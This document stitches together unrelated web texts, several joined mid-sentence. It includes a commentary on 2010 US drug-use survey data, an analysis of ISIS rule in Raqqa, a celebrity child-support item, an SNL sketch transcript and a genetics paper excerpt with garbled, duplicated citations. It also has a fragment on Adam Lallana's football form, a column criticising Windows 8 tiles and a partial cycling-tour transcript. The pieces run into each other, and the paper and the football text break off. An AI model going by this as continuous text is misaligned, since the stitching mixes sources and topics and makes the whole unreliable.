Stay informed and learn more about OpenShift by receiving email updates.Today the federal government released the latest results from its National Survey on Drug Use and Health, which indicate a slight uptick in marijuana use. Between 2009 and 2010, the share of respondents reporting past-month consumption rose from 6.6 percent to 6.9 percent. Among 18-to-25-year-olds, past-month use rose from 18.1 percent to 18.5 percent—leading Reuters to declare that "marijuana is increasingly becoming the drug of choice among young adults in the United States." If we are talking about illegal substances, marijuana has been "the drug of choice among young adults in the United States" ever since researchers started asking them about their drug use. Similarly, USA Today reports that "marijuana is as popular as ever," even though survey data (PDF) from the late 1970s and early '80s indicate it was more popular then.
None of this seems like cause for alarm, unless you are Gil Kerlikowske, director of the Office of National Drug Control Policy (ONDCP), who predictably blames medical marijuana laws. "People keep calling it medicine," he said at a press conference today, "and that's the wrong message for young people to hear." Because when "young people" hear "medicine," they think, "I bet that'll get you fucked up," whereas before they had no idea you could get high by smoking pot. However plausible that hypothesis may seem to you, there is little evidence to support the idea that legalizing marijuana for medical purposes increases recreational consumption by teenagers.
The new data do not bolster that case, says Morgan Fox of the Marijuana Policy Project:
We can see from this latest report that past-month marijuana use by 12-17 year olds has stayed the same for males and only increased by.1% in the past year for females. In addition, this report and other available data clearly show that in a majority of medical marijuana states, teen use rates actually decreased since the implementation of their medical marijuana programs.
In any case, Kerlikowske's argument suggests that a drug should not be recognized as a medicine if teenagers can use to alter their consciousness. But as the Drug Policy Alliance's Bill Piper observes, "In the field of medicine, whether or not a youth might abuse something doesn't determine whether or not an adult should have access to a medication and whether a doctor should prescribe it." Kerlikowske does not extend his logic to the stimulants, sedatives, tranquilizers, and opioid painkillers that can be legally obtained with a doctor's prescription. Indeed, he brags that use of black-market methamphetamine is half as common today as it was in 2006, even though the drug's legal status has not changed since then and it is still available for medical use.
The meth numbers, by the way, illustrate the perils of political explanations for drug use trends. If the Obama administration wants to take credit for the 30 percent decline in past-month meth use between 2009 and 2010, shouldn't it also take the blame for the 60 percent increase between 2008 and 2009? The upshot is that reported meth consumption was a bit higher last year than it was when Barack Obama took office. Taking a slightly longer view, the ONDCP emphasizes the drop in meth use since 2006, perhaps because that is when Congress imposed restrictions on the sale of the meth precursor (and decongestant) pseudoephedrine—regulations that Obama supported as a senator. Yet data from the Monitoring the Future Study (which covers a longer period than the National Survey on Drug Use and Health) indicate that meth use among teenagers peaked in 1999 or so.
The Republicans play similar games with drug use numbers.Al-Qaeda’s Governance Strategy in Raqqa
by Chris Looney (Syria analyst working in DC: clooney@colgate.edu – twitter @ looney_89)
For Syria Comment
December 8,2013
“Every 15 minutes someone poured water on me, electrocuted me, kicked me, and then walked out,” says one activist in an interview with CNN.
. “They beat me with a rifle and with their hands when they arrested me,” says another in a conversation with BBC. “And they threw a wheel on my back so I couldn’t move.
Such is the situation in Raqqa, a city in northeastern Syria with approximately one million inhabitants now under control of the Islamic State of Iraq and al-Sham (ISIS), the most powerful Al Qaeda (AQ) affiliate currently operating in Syria.
Since ISIS came to power in May, its abuse of Raqqa’s citizens has been well documented. It has begun to enforce its extreme interpretation of Islam upon the city’s residents, forcing women to “cover their beauty,” banning tobacco products, and brutally repressing dissident voices.
On the surface, this violence appears to be indiscriminate and irrational. Yet, it is also organized and tactical. For a group that has never before fully controlled a large city, the transition from insurgent to administrator has hardly been smooth. Still, ISIS has managed to develop a robust, systemic strategy of governance for Raqqa that links the city to sister strongholds in Iraq. Through the control of goods and services, ISIS has made the city’s residents dependent on it. As intricate as it is oppressive, this strategy is serving ISIS well; ISIS has consolidated its authority in Raqqa as it expands its reach over much of eastern Syria and Iraq.
ISIS Gains Control
Raqqa remained relatively calm throughout the first two years of the revolution. A city with roughly 240,000 residents before the war, the population quickly swelled to one million as refugees fled the escalating conflict. Still, strong ties between local tribal leaders and the regime ensured stability in the province, allowing Assad to retain control despite committing minimal forces to the region. Thus, as support for Damascus eroded and rebel forces began to move in towards Raqqa in late February, they were able to take the city with relative ease.
As the first provincial capital to fall fully into rebel hands, the March 4 takeover of Raqqa was a significant step forward for the opposition. The victors were a contingent of rebel battalions that included Ahfad al-Rasul, a moderate Islamist group with strong ties to the Western-backed Supreme Military Council (SMC), Jabhat al-Wahdet al-Tahrir al-Islamiyya, a small regiment of local militias, and Ahrar al-Sham, a powerful Salafist brigade.
Looming among them was another group active in the campaign to liberate Raqqa that was perhaps more formidable than the other three combined. Jabhat al-Nusra (JN), at the time the only AQ affiliate fighting in Syria, would soon exert its authority in the city.
Bolstered by deep pockets and a strong alliance with Ahrar al-Sham, JN pushed forth a strict Islamic agenda. Despite this and its subsequent record of civil and human rights abuses, the group at least managed to avoid alienating the entire community. Speaking to The Telegraph, one storeowner put it simply. “I like Jabhat,” he said. “They are better than the regime at any rate.
A big reason for this was JN’s deep local ties. Even with its links to AQ, which were not made public until April, many of the group’s fighters were still Syrian, some even from Raqqa province. Thus, they were able to forge more intimate connections among the community. “They don’t wear face masks,” said one resident while speaking with Syria Deeply. “People have friends who are in al-Nusra.”
Yet Nusra’s rule in Raqqa would be short lived. In April, Abu Bakr al-Baghdadi, head of what was then known as the Islamic State of Iraq (ISI), announced that JN would be merged with ISI to form ISIS.
JN’s leader, Abu Muhammad al-Golani, rejected this union, asserting his group’s independence and, for the first time publicly, swearing allegiance to Ayman al-Zawahiri, the head of AQ. Despite al-Zawahiri’s June order that the two remain separate, al-Baghdadi forged ahead in his attempt to integrate the groups.
In Raqqa he was particularly successful. JN had been formed with strong support from ISI, and a significant number of its fighters had fought in Iraq and remained loyal to al-Baghdadi.
By May, ISIS had lured away many of JN’s forces in Raqqa. This, combined with an influx of foreigners as ISIS made its way into Syria, cemented al-Baghdadi’s takeover. The group celebrated its victory with the execution of three Alawites in a town square on May 14.
As ISIS solidified its authority, the violence only increased. Protests became a nightly ritual throughout the summer, reaching a crescendo in mid-August when ISIS responded to a gathering by firing rocket-propelled grenades into the crowd. While JN had clashed with the more moderate brigades in Raqqa, ISIS turned these disputes into a verifiable war. The group used a series of four suicide car bombings to take out the leadership of Ahfad al-Rasul, a battalion that enjoyed strong support from the local population. It even squabbled with JN in an attempt to assert itself as the sole legitimate AQ affiliate in the city.
By late September, many battalions had resorted to an alliance with JN, believing it to be the only force left in the city still capable of countering ISIS. But this had little effect, as ISIS retained control and by November had received pledges from 14 local tribes, presumably out of fear. As one activist glumly put it in an interview with Syria Deeply – “We have a saying in Arabic. The hand that you cannot beat: kiss it, and pray that it breaks.”
The Governance Strategy of ISIS
ISIS shows no signs of weakening in Northern and Eastern Syria. On the contrary, because of its strategy of governing ISIS has grown stronger in the face of increased opposition to its rule.
ISIS placed greater importance on asserting full control over the city than on winning the goodwill of the populace. It solidified its rule through intimidation, rather than the more diplomatic means that Jabhat al-Nusra (JN) had employed. This strategy was evident by the public executions of May 14 that the group used to announce its presence. From that day, ISIS began to arrest dissidents. It currently holds approximately 1,500 prisoners in Raqqa, often mistreating and torturing them.
A pillar of this crackdown has been the Islamification of the city. Christians, who have a long history in Raqqa and who made up 10% of its population before the war, were not aggressively persecuted under JN. Though churches were closed and services suspended, families were able to remain and continue their lives unmolested.
Yet as ISIS gained control, violence against Christians increased. The group held public bible burnings, destroyed churches, and kidnapped priests, causing most of the city’s Christians to flee.
Despite the ensuing backlash, these actions did achieve a significant strategic objective for ISIS, an organization that makes no pretense about preserving minority rights. By expelling Christians, it has paved the way for a series of indoctrination programs that aim to promote both religious purity and the AQ principles through youth reeducation and a careful manipulation of civil society.
For ISIS, this is a long term strategy. The group seems confident in its ability to maintain power for an extended period of time, and while it is comfortable sustaining its rule through coercion in the short term, ISIS has also engineered a series of initiatives aimed at rebuilding its reputation among the community.
In addition to writing textbooks for schools, ISIS has sought to reframe itself as part of the mainstream revolution, countering the widely held belief among locals that it either collaborates with the regime or is made up primarily of foreigners who have no connection to Syria. Many of its prisoners are labeled as regime sympathizers, and the Alawite population has been driven from the city.
In addition, it has targeted media outlets in an attempt to control the flow of information. In early November, the Raqqa Information Center (RIC) shut its doors after one of its correspondents was beaten and “accused of treason and espionage.” In casting the RIC as hostile towards the revolution and implying a connection with the regime, ISIS has continued in its bid to reposition itself as liberators moving the city forward into the post-Assad era rather than as an occupying force regressing to autocracy.
The shutdown of the RIC and other media outlets has also served to somewhat isolate Raqqa from the rest of Syria. Though residents still have many other ways to access information, the media blackouts have been reinforced by other actions designed to create an environment where Raqqans are increasingly dependent on ISIS for basic goods and services. In September, ISIS closed the only remaining foreign exchange office in Raqqa, which had allowed money to be sent into the province from abroad. The group also controls the majority of wheat and oil coming into the city and provides food relief packages to families throughout the region. As this dependence increases, ISIS undoubtedly hopes it can transform it into loyalty and gain popularity among the community.
In implementing this strategy of dependence, ISIS has also expanded the connection between the territory it controls in eastern Syria and its strongholds in Iraq. For an organization that does not recognize colonial borders, fusing the two regions is of key strategic importance as it works towards the establishment of an Islamic emirate. The flow of funding from Iraq into Syria has been a source of strength for ISIS, allowing it to outpace rival opposition groups. Through extortion and other criminal techniques, ISIS is able to raise an estimated $8 million a month in Mosul alone.
By using this funding to take advantage of poorly governed territories in Raqqa, eastern Syria, and Anbar province, ISIS has carved out a safe haven from which it has the ability to conduct external operations. Although ISIS may be focused on consolidating its rule locally and expanding its sway within Syria and Iraq for the time being, attacking the West remains a long term strategic objective.
Conclusion
Since its takeover of Raqqa in May, ISIS has employed a governance strategy that has focused on solidifying its rule through intimidation, creating an economy of dependence, and seeking to integrate eastern Syria with its strongholds in Iraq
In this regard it has been highly successful. Yet its hostility towards minority groups, draconian legal system, and brutal repression of dissidents has generated a significant backlash, severely undermining the group’s credibility and keeping it from being seen as a legitimate part of the opposition. Because of this, ISIS’ current governance strategy is likely unsustainable.
Still, ISIS thrives on instability, and as the Syrian war reaches its 1,000th day with no end in sight, the group is likely to be able to maintain its hold in Raqqa. Whether it can learn from its mistakes remains to be seen, but absent a dramatic shift in the trajectory of the conflict, ISIS is here to stay.
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Reddit76ers Star Nerlens Noel Nasty Allegations In Child Support War
76ers Star Nerlens Noel -- Nasty Allegations In Child Support War
EXCLUSIVE
76ers starhas declared war on the woman who claims she's the mother of his child... this, after she accused the NBA star of being a deadbeat dad...has learned.It's a nasty fight between Nerlens and a woman named Jamie -- who claims the 20-year-old signed an affidavit in May 2013 (one week after the child was born) admitting he is the father. She claims the two remained close after the pregnancy.In legal docs, obtained by TMZ Sports, Jamie claims Nerlens agreed to pay $10k per month in child support -- and did for 3 months -- but suddenly cut her off and hasn't paid a dime since.Jamie filed a lawsuit against Nerlens hoping the judge would force him to pay up -- but he fired back with legal docs of his own claiming he's not convinced he's the real father.In fact, in Noel's legal docs he writes, "[He] does not have sufficient knowledge of information to know whether [Jamie] engaged in sexual relations with other men during the times pertinent to this case."Jamie denies that claim.Nerlens also states when he signed the affidavit saying he's the father, he did so "without first fully reading and understanding" the document.Nerlens is now demanding a DNA test to prove whether or not he is the dad.The case is due back in court later this month.Saturday Night Live Transcripts
Season 24: Episode 17
98q: John Goodman / Tom Petty & The Heartbreakers
Shaun Mondavi Vineyards
Shaun Mondavi…..Will Ferrell
Robert Mondavi…..John Goodman
Mrs. Mondavi…..Molly Shannon
(Scenic views over a wine vineyard and a slow motion pour of red wine from a wine glass can be seen while Shaun Mondavi’s voice is heard.)
Shaun Mondavi V/O: Wine. There’s nothing like it. As Sir Edwin Malebar once wrote: It can elevate the soul.
Shaun Mondavi: Hi. I’m Shaun Mondavi. For years, my stepfather, Robert Mondavi, has made some of the finest wines in the world. And the Mondavi heritage of fine wine making is alive and well, here, at Shaun Mondavi Vineyards.
(He takes a sip from wine glass and visibly grimaces at the taste.)
Shaun Mondavi: That’s right. For nearly a tenth of a half of a century, Shaun Mondavi wine has been associated with quality.
Four years ago, when I told my Dad I wanted to own my own vineyard, he said, “First of all, don’t call me Dad. You’re 27 and this is the second time I’ve ever met you. Second, no you can’t own a vineyard. You’re a convicted felon and your Mother told me you have a learning disability.”
Well guess what Dad? You were wrong…about some of that stuff.
(He takes another drink from the wine glass and grimaces again at the taste.)
Shaun Mondavi: And today, at Shaun Mondavi wine place, we are committed to the best wine-ing techniques around. Like the time-honored aging process. And nothing ages wine like a hot 3 hour van ride from our wine factory in San Jose, straight to your mouth. That’s right. When a van with a cactus airbrushed on the side pulls up outside your house, and a guy with a “fu-manchu” mustache hands you a case of Coke bottles filled with wine, you know you’re in Shaun Mondavi country: the San Jose metropolitan area.
(He takes another sip and moans aloud at the terrible taste.)
Shaun Mondavi: The classic balance between wine and food is an integral part of the Shaun Mondavi experience. Whether you’re having Steak-Ums or tacos or you can’t afford food, you’ll want a 2 liter Mountain Dew bottle filled with Shaun Mondavi’s reddish-style wine drink. You won’t be disappointed.
(He takes another drink and starts getting dry heaves from the bad taste. His Step dad walks into the scene.)
Robert Mondavi: What the hell are you doing out here, Shaun?
Shaun Mondavi: I’m shooting a commercial for my wine. Are you jealous Dad?
Robert Mondavi: That’s Mr. Mondavi, punk, and your not welcome on my property. I won’t have you stealing from your mother again.
(Robert picks Shaun up by the back of the neck.)
Shaun Mondavi: (yells) MOM! MOM!
(Mother rushes in.)
Mrs. Mondavi: Shaun, please leave. I can’t trust you anymore. Just go. Get out of here. Go!
Shaun Mondavi: (whining) Can’t I just have a hundred grand for my own wine vineyard?
(Robert takes a drink from the wine glass and immediately spits it out.)
Robert Mondavi: This isn’t wine! (sniffing the drink) It’s tequila and 5-Alive and those little marshmallows you put in cocoa.
Shaun Mondavi: …And fish and seawater. (playing toward the camera) It’s Shaun Mondavi’s finest vintage.
Robert Mondavi: How dare you use that name, you son-of-a-bitch. Your last name is Holdger.
Shaun Mondavi: My Dad was a hero! He died in the Navy!
Robert Mondavi: HA! The hell he did. I’ll tell you who your Father was.
Mrs. Mondavi: No! Robert, don’t!
Robert Mondavi: Your father was a hobo…
Shaun Mondavi: No…
Robert Mondavi: with a bottle of chloroform…
Shaun Mondavi: No! I’m going to kill you!!
(Shaun takes a lunge at Robert, but gets a punch in the gut, instead.)
Robert Mondavi: I want you out of here now!
Shaun Mondavi: (crying, and trying to hug Robert) I love you, Daddy, I love you!
Robert Mondavi: (fighting him off) I’m not your father.
Shaun Mondavi: I wanna make you you proud with my wine.
Robert Mondavi: I’m not your father!
(The camera pans down to a close up of the Mountain Dew bottle with a cheap handwritten Mondavi Vineyard logo taped to the side.)
Narrator V/O: Shaun Mondavi Vineyards. For when excellence and burnished fineries need to gently visit the warmth of your tablery.What the hell does that mean?
Thanks to Planet Will for this transcript!
SNL TranscriptsIt might seem strange for an article to focus largely on the history of a single mitochondrial haplogroup in an era when complete genome sequencing is becoming more common. But as recent publications and film documentaries have shown (Meldrum 2009 Meldrum, R. L. 2009. Rediscovering the Book of Mormon Remnant through DNA. Honeoye Falls, NY: Digital Legend Press.; Oppenheimer et al. 2014 Oppenheimer, S., B. Bradley, and D. Stanford. 2014. “Solutrean hypothesis: Genetics, the mammoth in the room.” World Archaeology 46: 752–774.; Smoot et al. 2010 Smoot, S., R. Stout, and B. McLerran. 2010. The Lost Civilizations of North America. DVD. Directed by R. Stout. Bountiful, UT: Digital Legends.; Stanford and Bradley 2012 Stanford, D. J., and B. Bradley. 2012. Across Atlantic Ice: The Origin of America's Clovis Culture. Berkeley: University of California Press.), there is still considerable confusion about what the structure of mitochondrial genetic diversity in the Americas means for Native American population history. Specifically, there are persistent claims that the presence of mitochondrial haplogroup X2a in Native American populations is evidence for ancient trans-Atlantic gene flow from Europe or the Middle East into North America (Meldrum 2009 Meldrum, R. L. 2009. Rediscovering the Book of Mormon Remnant through DNA. Honeoye Falls, NY: Digital Legend Press.; Oppenheimer et al. 2014 Oppenheimer, S., B. Bradley, and D. Stanford. 2014. “Solutrean hypothesis: Genetics, the mammoth in the room.” World Archaeology 46: 752–774.; Smoot et al. 2010 Smoot, S., R. Stout, and B. McLerran. 2010. The Lost Civilizations of North America. DVD. Directed by R. Stout. Bountiful, UT: Digital Legends.; Stanford and Bradley 2012 Stanford, D. J., and B. Bradley. 2012. Across Atlantic Ice: The Origin of America's Clovis Culture. Berkeley: University of California Press.). If true, this genetic evidence would lend considerable support to the Solutrean hypothesis, which suggests that the North American Clovis culture (13,300–12,800 cal yr BP) is directly descended from the Solutrean culture of southwestern Europe (23,500–18,000 cal yr BP). The current iteration of the Solutrean hypothesis was developed by Bruce Bradley and Dennis Stanford (Bradley and Stanford 2004 Bradley, B., and D. Stanford. 2004. “The North Atlantic ice-edge corridor: A possible Palaeolithic route to the New World.” World Archaeology 36: 459–478.; Stanford and Bradley 2012 Stanford, D. J., and B. Bradley. 2012. Across Atlantic Ice: The Origin of America's Clovis Culture. Berkeley: University of California Press.; see Abbott 1877 Abbott, C. C. 1877. “On the discovery of supposed paleolithic implements from the glacial drift in the valley of the Delaware River, Near Trenton, New Jersey.” Annual Report of the Peabody Museum of American Archaeology and Ethnology 10: 30–43., Greenman 1963 Greenman, E. F. 1963. “The Upper Paleolithic and the New World.” Current Anthropology 4: 41–91. and Hibben 1941 Hibben, F. 1941. “Evidences of early occupation in Sandia Cave, New Mexico, and other sites in the Sandia-Manzano region.” Smithsonian Miscellaneous Collection 99(23). for previous iterations of the hypothesis), and it has been heavily critiqued by many archaeologists (Eren et al. 2013 Eren, M. I., R. J. Patten, M. J. O'Brien, and D. J. Meltzer. 2013. “Refuting the technological cornerstone of the Ice-Age Atlantic crossing hypothesis.” Journal of Archaeological Science 40: 2934–2941., 2015 Eren, M. I., M. T. Boulanger, and M. J. O'Brien. 2015. “The Cinmar discovery and the proposed pre-Late Glacial Maximum occupation of North America.” Journal of Archaeological Science: Reports 2: 708–713.; O'Brien et al. 2014 O'Brien, M. J., M. T. Boulanger, M. Collard, B. Buchanan, L. Tarle, L. G. Straus, and M. I. Eren. 2014. “On thin ice: Problems with Stanford and Bradley's proposed Solutrean colonization of North America.” Antiquity 88: 606–624.; Philips 2014 Philips, K. 2014. “Solutrean seal hunters? Modeling trans-Atlantic migration parameters fundamental to the ‘Solutrean solution’ for the peopling of the Americas.” Journal of Anthropological Research 70: 573–600.; Sellet 1998 Sellet, F. 1998. “The French connection: Investigating a possible Clovis-Solutrean Link.” Current Research in the Pleistocene 15: 67–68.; Straus et al. 2005 Straus, L. G., D. J. Meltzer, and T. Goebel. 2005. “Ice age Atlantis? Exploring the Solutrean-Clovis ‘connection’.” World Archaeology 37: 507–532.). The idea that haplogroup X2a is derived from an ancient trans-Atlantic migration to the Americas has been repeatedly considered — and rejected — by anthropological geneticists over the last two decades (Brown et al. 1998 Brown, M. D., S. H. Hosseini, A. Torroni, H.-J. Bandelt, J. C. Allen, T. G. Schurr, R. Scozzari, F. Cruciani, and D. C. Wallace. 1998. “mtDNA Haplogroup X: An ancient link between Europe/Western Asia and North America?” American Journal of Human Genetics 63: 1852–1861.; Fagundes et al. 2008 Fagundes, N. J. R., R. Kanitz, R. Eckert, A. C. S. Valls, M. R. Bogo, F. M. Salzano, D. G. Smith, W. A. Silva, M. A. Zago, A. K. Ribeiro-dos-Santos, S. E. B. Santos, M. L. Petzl-Erler, and S. L. Bonatto. 2008. “Mitochondrial population genomics supports a single pre-Clovis origin with a coastal route for the peopling of the Americas.” American Journal of Human Genetics 82: 583–592.; Reidla et al. 2003 Reidla, M., T. Kivisild, E. Metspalu, K. Kaldma, K. Tambets, H. V. Tolk, J. Parik, E. L. Loogväli, M. Derenko, B. Malyarchuk, M. Bermisheva, S. Zhadanov, E. Pennarun, M. Gubina, M. Golubenko, L. Damba, S. Fedorova, V. Gusar, E. Grechanina, I. Mikerezi, J. P. Moisan, A. Chaventré, E. Khusnutdinova, L. Osipova, V. Stepanov, M. Voevoda, A. Achilli, C. Rengo, O. Rickards, G. F. De Stefano, S. Papiha, L. Beckman, B. Janicijevic, P. Rudan, N. Anagnou, E. Michalodimitrakis, S. Koziel, E. Usanga, T. Geberhiwot, C. Herrnstadt, N. Howell, A. Torroni, and R. Villems. 2003. “Origin and diffusion of mtDNA Haplogroup X.” American Journal of Human Genetics 73: 1178–1190.; Smith et al. 1999 Smith, D. G., R. S. Malhi, J. Eshleman, J. G. Lorenz, and F. A. Kaestle. 1999. “Distribution of mtDNA haplogroup X among native North Americans.” American Journal of Physical Anthropology 110: 271–284., 2005). However, we revisit it here because it continues to be discussed and because recently published genomic data from ancient and contemporary North Americans help clarify the population history of North America and the likely history of this haplogroup.
1. The current model Several decades of studies analyzing classical genetic markers, DNA sequences from single loci, and, very recently, genome wide variants have cumulatively shown that all Native Americans derive ancestry from a fairly small founder population that likely occupied Beringia during the Last Glacial Maximum (LGM; ∼28,000 and 18,000 cal yr BP) (reviewed in Hoffecker et al. 2014 Hoffecker, J. F., S. A. Elias, and D. H. O'Rourke. 2014. “Out of Beringia?” Science 343: 979–980.; Kemp and Schurr 2010 Kemp, B. M., and T. G. Schurr. 2010. “Ancient and modern genetic variation in the Americas.” In Human Variation in the Americas, edited by Benjamin M. Auerbach, 12–50. Center for Archaeological Investigations, Occasional Paper No. 38. Carbondale: Southern Illinois University Press.; Raff and Bolnick 2014 Raff, J. A., and D. A. Bolnick. 2014. “Palaeogenomics: Genetic roots of the first Americans.” Nature 506: 162–163.). There is still a great deal that is unknown about this founder population, but current genetic evidence shows that it was descended from peoples in eastern Siberia who were related to the ancestors of both contemporary East Asians and contemporary West Eurasians (Kemp and Schurr 2010 Kemp, B. M., and T. G. Schurr. 2010. “Ancient and modern genetic variation in the Americas.” In Human Variation in the Americas, edited by Benjamin M. Auerbach, 12–50. Center for Archaeological Investigations, Occasional Paper No. 38. Carbondale: Southern Illinois University Press.; O'Rourke and Raff 2010 O'Rourke, D. H., and J. A. Raff. 2010. “The human genetic history of the Americas: The final frontier.” Current Biology 20: R202–R207.; Raghavan et al. 2014b Raghavan, M., P. Skoglund, K. E. Graf, M. Metspalu, A. Albrechtsen, I. Moltke, S. Rasmussen, T. W. Stafford Jr., L. Orlando, E. Metspalu, M. Karmin, K. Tambets, S. Rootsi, R. Mägi, P. F. Campos, E. Balanovska, O. Balanovsky, E. Khusnutdinova, S. Litvinov, L. P. Osipova, S. A. Fedorova, M. I. Voevoda, M. DeGiorgio, T. Sicheritz-Ponten, S. Brunak, S. Demeshchenko, T. Kivisild, R. Villems, R. Nielsen, M. Jakobsson, and E. Willerslev. 2014b. “Upper Paleolithic Siberian genome reveals dual ancestry of Native Americans.” Nature 505: 87–91.). Some Native Americans also share ancestry with contemporary Austro-Melanesians, although it is debated |
to play with freedom just like David Silva at Manchester City. This enables him to have far more touches and dictate the game; his average touches per match is up from 53.8 last year to 71.8 this year and crucially, his goal attempts are up from last season, with shots on goal every 33 minutes compared to every 50 minutes last year.
Lallana’s record-breaking distance covered by a player in the Premier League in 2016-17 (13.1km against Leicester) also highlights just his importance in Liverpool’s high pressing, high-intensity play. This has attributed to an all round improvement in his game. The fact that Klopp has praised him for his performances tells a lot about his form.
Most assists by a midfielder
The midfielder has been involved in more goals than any other midfielder in the Premier League this season (7 goals, 7 assists) and has the second highest passing accuracy (86.1 percent) for a Liverpool midfielder only behind Georginio Wijnaldum.
An update on Adam Lallana's @premierleague form so far this season...
7 Goals
7 Assists
Keep it up! pic.twitter.com/tlnHi3p9cr — Liverpool FC (@LFC) December 31, 2016
Given that Lallana has a greater number of passes higher up the pitch makes his effort even more laudable and goes to show his composure with the ball. The England midfielder is only behind Sadio Mane (8 goals) with respect to the number of goals scored by a Liverpool player.
The Reds have scored 46 goals in 19 league games (2.4 goals per game) this season so far. But when Lallana hasn’t started a game for them, they have managed only 5 goals in 4 games (1.25 goals per game) including two goalless draws against Manchester United and Southampton.
The former Saints player’s contribution to the team has become far more crucial after the injury of Philippe Coutinho in the clash against Sunderland earlier this season. This injury was a big blow to Liverpool as the Brazilian was in terrific form right from the start of the season with 5 goals and 5 assists in the league. Without him, Liverpool’s hopes of winning a title after 27 years seemed improbable.
Adam Lallana ended 2016 having been involved in 21 #PL goals (11 goals, 10 assists); no midfielder in the competition had a hand in more pic.twitter.com/CnUwXAIqZk — Premier League (@premierleague) January 1, 2017
But Lallana has stepped up in his absence and kept Liverpool’s hopes alive, involving himself in 8 Liverpool goals in his last 6 starts. He had more shots that any player in their game against Stoke City.
Important player for England and Liverpool
The former Southampton man is also an integral part of the England national team now. Under new manager Gareth Southgate, he has an important role to play and has started two World Cup 2018 qualification matches in this year and scored 2 goals (one each against Slovakia and Scotland) for his country.
Also Read: EPL 2016/17: Liverpool 1 - 0 Manchester City: 5 Talking Points
Lallana has become almost indispensable for both Liverpool and the English national side and will be hoping to stay fit and continue this run of form. The former Liverpool and England defender Jamie Carragher has claimed that Adam Lallana is the best English player in the league at the moment and he may absolutely right in saying so.
Carragher: "You could argue in the time Adam Lallana has been at Liverpool he is now their best player. His energy, he puts a foot in." — Anfield HQ (@AnfieldHQ) December 27, 2016
Against Manchester City last night, Lallana took up a position on the left side of the front three and played a key role in Liverpool’s only goal in the game. The Englishman put in a delightful cross from the left for Georgino Wijnaldum to head home as early as the 8th minute. Lallana harried and tracked back to help his defence out, and helped see out the game.
With Liverpool just 6 points behind leaders Chelsea, Lallana’s contribution to the team will be vital if Klopp’s team are to topple the Londoners and finally take the Premier League crown.
AdvertisementThe Windows 8 Metro interface has replaced icons with tiles to match the model created by the Phone 7 interface.
Thus, the problem with Windows 8 and Metro finally became clear to me when I was confronted by a wall of tiles and was lost. The sameness made it impossible to find anything. Why anyone would revert to vague and homogeneous tiles from highly identifiable icons is beyond my comprehension. Perhaps someone thinks it's more artsy.
People sense something is wrong. The miserable sales of the Phone 7 products reflect the user sensitivity. So what does Microsoft do? It pushes the same bad idea to the new OS. Win 8 will be a huge disappointment if Microsoft insists that these metro tiles are a good idea.
Let me pose a simple question: When you look at your desktop screen, how do you find the program you are looking for? You look for distinctive icons using your human ability to recognize patterns. It’s what we do best. You ignore the words beneath the icon. For example, you scan your desktop for a red flat cat, locate it, and click, knowing the program is Irfanview. We are so good at this that we can identify an upside down icon.
How is it a step forward to create a tile inscribed with the name of the program? An old alphabetized DOS listing is easier to navigate than a wall of tiles, on which nothing is immediately familiar. Our innate pattern recognition is short-circuited by similar tiles. You have to read text rather than react to an iconic image. And while colored tiles help a little, it's still problematic.
Icons are cardinal and we have only begun to explore their potential. Mac takes the icon approach to interesting and useful extremes. Even document icons are miniature and identifiable shrunken images of the title page. This is extremely useful.
It dawned on me that, while artistically interesting, the Microsoft wall of tiles presents a navigational dilemma. It's an out-and-out hindrance. As a user interface, it's actually a disaster. It's also a disaster for the Phone 7 phones. When I look for an app on my Android, I'm searching for the familiar icons. How is hunting for a tile with text on it an improvement?
Instead of going further in the direction of icon imagery, which the human brain seems to gravitate towards, Microsoft has stopped the bus and put it in reverse. The company should have pushed icons further, developing more complex and memorable shapes and forms. Moving icons, for example, have never been properly developed. There are endless and interesting possibilities never before explored. But Microsoft has essentially moved back to DOS and command line thinking. Text.
Some of the Linux community is falling into this sort of thinking and this includes a modified tile system with icons on top of tiles. Again, a tile is a tile with or without an icon on it. The brain is wired to find an icon against a neutral background in a sea of icons faster than an icon on a tile in a sea of tiles.
So why the tiles in the first place?
Few programmers are artists and few artists are programmers. Thus, we are getting the wrongheaded retro concept. This whole tiles idea looks good to someone who likes art. However, this design will continue down the road of ruin until Microsoft recognizes that people prefer the “traditional” Windows 7 GUI to Windows 8 Metro and also notes that sales aren’t reaching potential. The company will wonder why people are grumbling.
Well, I'm grumbling in advance and I know the reason why. Now you do, too.
I advise Microsoft to abandon this tile concept A.S.A.P., but it may be too late.
You can Follow John C. Dvorak on Twitter @therealdvorak.
More John C. Dvorak:
Go off-topic with John C. Dvorak.It's not everyday that you get to ride bikes in a big metropolis with a member of Congress, even one who loves to bicycle whenever he can.
Rep. Earl Blumenauer dropped by Transportation Alternatives' offices to take a quick excursion around mid-town with Executive Director, Paul Steely White, and Senior Policy Director, Noah Budnick. They checked out a few standard (painted) bike lanes and some of the newer (physically separated) facilities, of which the latter Mr. Blumenauer thought were superior. Along the way he offered much commentary about the state of biking and livable streets in the nation.
With a new, Congressional transportation bill due to percolate to the surface sometime in the near future, Mr. Blumenauer believes the next decade will be the one when we can finally achieve some balance for pedestrians, bikes, and livable streets. For the sake of our planet, our health, and the green growth of our cities - cheers to that.
<blockquote class="speaker_1_text"> <cite class="speaker_1" >Man:</cite> [0:00] We are touring New York City with Congressman Earl Blumenauer, a hero to anyone in the United Stats who wants to make cities more livable, more bike-able, more walkable, and it's a pleasure to have him in the big city today. [0:13] We're showing him bike facilities we love and those that we think should be improved. This is Sixth Avenue, which most cyclists would probably agree is not the ideal bike-lane scenario. No protection from traffic and very narrow.</p><p>[music] </blockquote> <blockquote class="speaker_2_text"> <cite class="speaker_2" >Congressman Earl Blumenauer:</cite> [0:40] Riding, coming up here, even though it was a bike lane, it was pretty grim. But as soon as we turned and started down here, changes completely. There's a better sense of safety and security, opportunities to ride two or three abreast, to be able to converse, and it feels different in terms of experiencing what's going on on the street. It also seems to me that we are adding to a sense of comfort for pedestrians, because we pedestrians benefit from this, and it naturally slows traffic. [1:17] New York is kind of the center of the universe of America, for centuries. It's nice to see New York coming back with a new era of cycling and pedestrian access. </blockquote> <blockquote class="speaker_1_text"> <cite class="speaker_1" >Man:</cite> [1:33] Earl's been coming to New York more frequently lately. And I think the reason is that he loves to ride his bike, and New York is becoming more bike-friendly, virtually by the day. We started, at Transportation Alternatives, years ago, aspiring to be Portland, looking to Portland for all these great best practices. And now we're to the point in New York where Portland, I think, is actually borrowing from us somewhat, or we're certainly peers now. </blockquote> <blockquote class="speaker_3_text"> <cite class="speaker_3" >Congressman Blumenauer:</cite> [1:56] It is fascinating watching the emergence of this movement around the country. There was a time when it was college towns and maybe an outlier like Portland. But now what you're seeing in New York, Chicago, Los Angeles, Washington, DC, this is a national movement that's taking hold, and cities, large and small, are getting into it. </blockquote> <blockquote class="speaker_1_text"> <cite 